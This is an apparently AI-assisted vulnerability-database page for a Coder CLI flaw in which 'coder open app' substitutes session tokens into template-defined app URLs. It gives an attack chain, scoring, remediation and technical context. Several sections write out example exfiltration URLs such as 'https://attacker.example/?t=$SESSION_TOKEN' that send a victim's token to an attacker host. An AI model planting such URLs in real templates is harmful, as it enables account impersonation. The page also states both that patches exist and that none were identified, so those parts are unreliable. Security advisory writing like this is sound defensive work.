Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessGain template-author role in Coder
-
DeliveryDefine external app URL embedding $SESSION_TOKEN to attacker server
-
ExploitShared user/admin runs coder open app
-
ExecutionCLI substitutes real token into attacker URL
-
PersistToken exfiltrated to attacker server
-
ImpactImpersonate victim until token expires
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK
2 techniques across 2 tactics: Collection, Discovery The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an attacker who holds the template-author role in a Coder deployment and defines an external app or IDE link whose URL contains the $SESSION_TOKEN placeholder pointing at an attacker-controlled destination (e.g. https://attacker.example/?t=$SESSION_TOKEN or an IDE link such as vscode://coder.coder-remote/open?url=https://attacker.example&token=$SESSION_TOKEN). The victim must then run |
| Impact | The CVSS 4.0 base score is 8.4 (High), but the vector tells a more restrained story: AV:N/AC:L/AT:N but PR:H and UI:P. PR:H is accurate - the attacker must be a template author, a role the advisory explicitly calls trusted (they already control what runs in every workspace and already receive the workspace owner's token). UI:P is also accurate - a victim must actively run |
| Exploit ScenarioDerived | A malicious or compromised template author defines an external app (or IDE link) in a Coder template whose URL embeds the $SESSION_TOKEN placeholder pointing to an attacker-controlled server, e.g. https://attacker.example/?t=$SESSION_TOKEN. When a shared user or an administrator helping with the workspace runs |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Nov 26, 2026
Session-token leakage in Coder's coder open app CLI command lets a malicious template author steal the credentials of users who open a crafted external app or IDE link. The CLI substitutes $SESSION_TOKEN into template-defined app URLs without validating the scheme or destination, so a URL such as https://attacker.example/?t=$SESSION_TOKEN sends the victim's live session token to an attacker server, enabling impersonation of shared users or administrators with that user's permissions until the token expires. Only deployments running affected release lines before 2.29.27, 2.33.0, 2.34.0, 2.34.19, 2.37.11, 2.38.7 and 2.39.1 are exposed; exploitation requires the template-author role (authenticated) and the victim must run the CLI command, the dashboard was never affected for http/https URLs, and no public exploit code was identified at time of analysis.
RemediationAI
Vendor-released patches: upgrade to Coder v2.39.1 (mainline), v2.38.7 (stable), v2.37.11 (security support), v2.34.19 (ESR) or v2.29.27 (ESR) as applicable to your branch; the fix is upstream PR https://github.com/coder/coder/pull/31721 and the advisory is https://github.com/coder/coder/security/advisories/GHSA-6g9g-vmp7-r45p. After upgrading, templates whose external apps do not meet the dashboard rule will no longer receive a token from coder open app - the link must open a known Coder IDE handler, its url parameter must be this deployment with no path, and the placeholder must be the whole value of its token parameter - so audit templates for apps that relied on the old behavior before rolling out. Per the vendor, on releases that include the dashboard fix from GHSA-2x8w-q434-f76p, users can open external apps from the dashboard instead of with coder open app as a workaround; template administrators should review external app URLs containing $SESSION_TOKEN and limit who can create or edit templates, noting that this reduces but does not eliminate exposure because template authors are already a trusted role with broad control over workspace contents. Tokens suspected of exposure should be revoked so the attacker loses the ability to act as the victim before natural expiry.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Coder is a self-hosted remote development platform where templates define workspaces and the external apps and IDE links those workspaces expose. The coder open CLI resolves a $SESSION_TOKEN placeholder in an app's URL to the invoking user's real API session token, a convenience intended for Coder IDE handlers. This is a CWE-200 information exposure (the advisory also classifies it CWE-522, insufficiently protected credentials): the substitution was performed for template-defined apps with no check on URL scheme or destination. This is a regression-by-omission relative to the earlier fix for CVE-2026-55431 (GHSA-v54h-cp2w-9x4g), which stopped the CLI from injecting the token into apps registered from inside a workspace, but left template-defined apps treated as trusted. The dashboard implemented the correct rule first - it never appended the token to http/https URLs, and since GHSA-2x8w-q434-f76p it also rejects IDE links pointing at another server - which is why the CLI and the dashboard behaved differently for the same app. The upstream fix (PR coder/coder#31721) ports that rule to the Go CLI: the token is substituted only when the link opens a known Coder IDE handler, its url parameter is this deployment with no path, and the placeholder constitutes the entire value of its token parameter; any other link containing the placeholder is printed with a warning and not opened. The trigger depends entirely on a template author choosing a hostile app URL and a user subsequently invoking the CLI, and the affected Go module is go/github.com/coder/coder/v2.
Know when Coder gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Only a trusted template author can stage the attack (PR:H) and the victim must run coder open app (UI:R); stolen token enables account impersonation, so C:H and I:H, no availability impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
Coder 2.29.17 before 2.29.27, 2.32.7 before 2.33.0, 2.33.8 before 2.34.0, 2.34.2 before 2.34.19, 2.35.0 before 2.37.11, 2.38.0 before 2.38.7, and 2.39.0 before 2.39.1 contains a credential exposure vulnerability that allows malicious template authors to steal session tokens because coder open app substitutes $SESSION_TOKEN into template-defined external app URLs without validating scheme or destination. Attackers can define an external app URL or IDE link pointing to an attacker server so users running coder open app leak their token, enabling impersonation of shared users or administrators.
Technical POC Analysis
Evidence caveat (read first): the only supplied evidence is advisory GHSA-6g9g-vmp7-r45p.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
CVE-2026-137546 is a high-severity session-token leakage vulnerability in Coder's coder open app CLI command that allows a malicious template author to steal live session tokens from users who open crafted external app or IDE links. This enables impersonation of affected users, including administrators, with their permissions until the token expires. Leadership should care because it compromises user accounts and could lead to unauthorized access to development environments and sensitive code.
No vendor-released patch identified at time of analysis; interim mitigations include restricting template author permissions to trusted users, disabling the coder open app command if feasible, educating users about the risk of opening untrusted external links, and monitoring for anomalous session activity.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Coder allows organizations to provision remote development environments via Terraform. Rated high severity (CVSS 8.1), t
Coder allows organizations to provision remote development environments via Terraform. Prior to 2.26.5, 2.27.7, and 2.28
code-server is vulnerable to Inefficient Regular Expression Complexity. Rated high severity (CVSS 7.5), this vulnerabili
Versions of the package code-server before 4.10.1 are vulnerable to Missing Origin Validation in WebSockets handshakes.
Coder deployments configured with AWS IAM database authentication (CODER_PG_AUTH=awsiamrds) can leak a short-lived Postg
Credential disclosure in Coder's web dashboard (CVSS 4.0 base 8.7, High) lets an authenticated low-privileged attacker w
Credential theft in Coder (before 2.29.20, 2.33.0 through 2.33.11, 2.34.0 through 2.34.7, and 2.35.0 through 2.35.3) let
Improper authorization in Coder's external agent credentials endpoint lets authenticated users who hold only workspace r
Authenticated Coder users who control a modified workspace agent can redirect the control plane's workspace-agent API re
Coder deployments that run workspace agents on Google Compute Engine with GCP instance-identity authentication accept re
Coder allows oragnizations to provision remote development environments via Terraform. Rated high severity (CVSS 8.2), t
Arbitrary shell command execution and security-setting tampering in the Coder VS Code extension (coder.coder-remote) ver
EUVD-2026-136768
NVD
CVE.org
EPSS
GitHub
Exploit-DB